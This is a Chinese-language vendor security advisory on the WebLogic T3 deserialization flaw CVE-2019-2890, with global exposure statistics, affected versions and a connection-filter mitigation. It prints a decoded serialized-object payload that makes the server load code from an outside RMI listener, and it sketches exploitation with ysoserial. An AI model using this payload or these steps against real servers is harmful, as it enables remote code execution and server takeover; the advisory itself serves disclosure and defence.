白帽駭客資安網-網站安全的靠山,提供漏洞修補,網站被駭入侵,網站資訊安全服務

WebLogic 伺服器軟體漏洞 esafe白帽駭客預警告知

 

2019年10月,白帽駭客資安網研究監測到互聯網上爆出了Weblogic反序列化遠端命令執行漏洞,攻擊者可利用該漏洞在未經授權下通過構造T3協議請求,繞過Weblogic的反序列化黑名單,從而獲取Weblogic伺服器許可權,風險較大。希望相關用戶採取下方的臨時修復方案進行應急。
概況
Weblogic是Oracle公司出品的基於JavaEE架構的仲介軟體,用於開發、集成、部署和管理大型分散式Web應用、網路應用和資料庫應用。
根據FOFA的資料統計,全球共有26627個開放的weblogic服務。其中美國最多,有8047個開放服務。其次是中國,有5407個開放的weblogic服務。荷蘭排第三,有3584個開放的weblogic服務。伊朗第四,有2351個開放的weblogic服務。日本第五,有780個開放的weblogic服務。
全球範圍內weblogic服務分佈情況(僅為分佈情況,非漏洞影響情況)


 
國內的weblogic服務分佈如下,北京最多,有3248個服務,廣東有232個服務,上海有213個服務,浙江有200個服務,江蘇有156個服務,台灣有15個服務。


 
漏洞分析

T3協定在Weblogic控制台開啟的情況下預設開啟,而Weblogic默認安裝自動開啟的控制台,由此攻擊者可利用該漏洞造成遠端代碼執行,從而控制Weblogic伺服器。
利用RMI介面:java.rmi.activation.Acticator,序列化RemoteobjectInvocationHandler,並使用UnicastRef和遠端建立tcp連接,最終將載入的內容利用readobject()進行解析,導致序列化的惡意程式碼執行(以下為最終的payload)。

    STREAM_MAGIC - 0xac ed
    STREAM_VERSION - 0x00 05
    Contents
        TC_object - 0x73
        TC_PROXYCLASSDESC - 0x7d
          newHandle 0x00 7e 00 00
          Interface count - 1 - 0x00 00 00 01
          proxyInterfaceNames
            0:
              Length - 29 - 0x00 1d
              Value - java.rmi.activation.Activator - 0x6a6176612e726d692e61637469766174696f6e2e416374697661746f72
          classAnnotations
            TC_ENDBLOCKDATA - 0x78
          superClassDesc
            TC_CLASSDESC - 0x72
              className
                Length - 23 - 0x00 17
                Value - java.lang.reflect.Proxy - 0x6a6176612e6c616e672e7265666c6563742e50726f7879
              serialVersionUID - 0xe1 27 da 20 cc 10 43 cb
              newHandle 0x00 7e 00 01
              classDescFlags - 0x02 - SC_SERIALIZABLE
              fieldCount - 1 - 0x00 01
              Fields
                0:
                  object - L - 0x4c
                  fieldName
                    Length - 1 - 0x00 01
                    Value - h - 0x68
                  className1
                    TC_STRING - 0x74
                      newHandle 0x00 7e 00 02
                      Length - 37 - 0x00 25
                      Value - Ljava/lang/reflect/InvocationHandler; - 0x4c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b
              classAnnotations
                TC_ENDBLOCKDATA - 0x78
              superClassDesc
                TC_NULL - 0x70
        newHandle 0x00 7e 00 03
        classdata
          java.lang.reflect.Proxy
            values
              h
                (object)
                  TC_OBJECT - 0x73
                    TC_CLASSDESC - 0x72
                      className
                        Length - 45 - 0x00 2d
                        Value - java.rmi.server.RemoteobjectInvocationHandler - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c6572
                      serialVersionUID - 0x00 00 00 00 00 00 00 02
                      newHandle 0x00 7e 00 04
                      classDescFlags - 0x02 - SC_SERIALIZABLE
                      fieldCount - 0 - 0x00 00
                      classAnnotations
                        TC_ENDBLOCKDATA - 0x78
                      superClassDesc
                        TC_CLASSDESC - 0x72
                          className
                            Length - 28 - 0x00 1c
                            Value - java.rmi.server.Remoteobject - 0x6a6176612e726d692e7365727665722e52656d6f74654f626a656374
                          serialVersionUID - 0xd3 61 b4 91 0c 61 33 1e
                          newHandle 0x00 7e 00 05
                          classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
                          fieldCount - 0 - 0x00 00
                          classAnnotations
                            TC_ENDBLOCKDATA - 0x78
                          superClassDesc
                            TC_NULL - 0x70
                    newHandle 0x00 7e 00 06
                    classdata
                      java.rmi.server.Remoteobject
                        values
                        objectAnnotation
                          TC_BLOCKDATA - 0x77
                            Length - 55 - 0x37
                            Contents - 0x000a556e6963617374526566000e31302e31302e31302e3232000000000036590000000001eea90b000000000000000000000000000000
                          TC_ENDBLOCKDATA - 0x78
                      java.rmi.server.RemoteobjectInvocationHandler
                        values

漏洞利用
利用t3協議的缺陷實現遠端方法調用達到執行任意反序列化payload的目的:第一步,監聽rmi介面;第二步,執行反序列化操作。其反序列化內容指向外部的RMI監聽介面,這樣在反序列化的過程中就會從遠端RMI監聽埠載入內容並執行序列化操作,可使用ysoserial工具進行操作。


漏洞影響
目前漏洞影響版本號包括:

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.3

CVE編號

CVE-2019-2890

修復建議
一、禁用T3協議
若不依賴T3協議進行JVM通信,可通過暫時阻斷T3協議緩解此漏洞帶來的影響
操作:
1、進入weblogic控制台在base_domain配置頁面中,進入“安全”選項卡頁面,點擊“篩選器”,配置篩選器。
2、在連接篩選器中輸入:weblogic.security.net.ConnectionFilterImpl,在連接篩選器規則框中輸入: 7001 deny t3 t3s
3、保存生效(無需重啟)
4、無法處理可以找esafe白帽駭客幫您做處理。
 

分享: